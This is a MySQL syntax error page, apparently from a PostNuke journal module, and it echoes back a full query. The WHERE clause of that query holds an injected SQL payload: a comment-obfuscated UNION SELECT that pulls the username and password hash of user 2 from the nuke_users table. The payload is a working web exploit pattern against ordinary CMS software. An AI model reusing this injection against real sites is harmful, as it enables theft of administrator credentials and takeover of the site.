You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*' at line 18
SELECT jjo_id,
jjo_title,
jjo_bodytext,
jjo_mood,
jjo_status,
jjo_owner_uid,
jjo_image,
jjo_image_position,
jjo_image_size_x,
jjo_image_size_y,
jjo_lu_uid,
jjo_lu_date,
jjo_cr_date,
jjo_permission,
pn_uname
FROM nuke_v4b_journal_journal
LEFT JOIN nuke_users u ON jjo_owner_uid = u.pn_uid
WHERE jjo_id = -1/**/union/**/select/**/0,pn_uname,pn_pass,3,4,pn_uname,6,7,8,9,10,11,12,13,14/**/from/**/nuke_users/**/where/**/pn_uid=2/*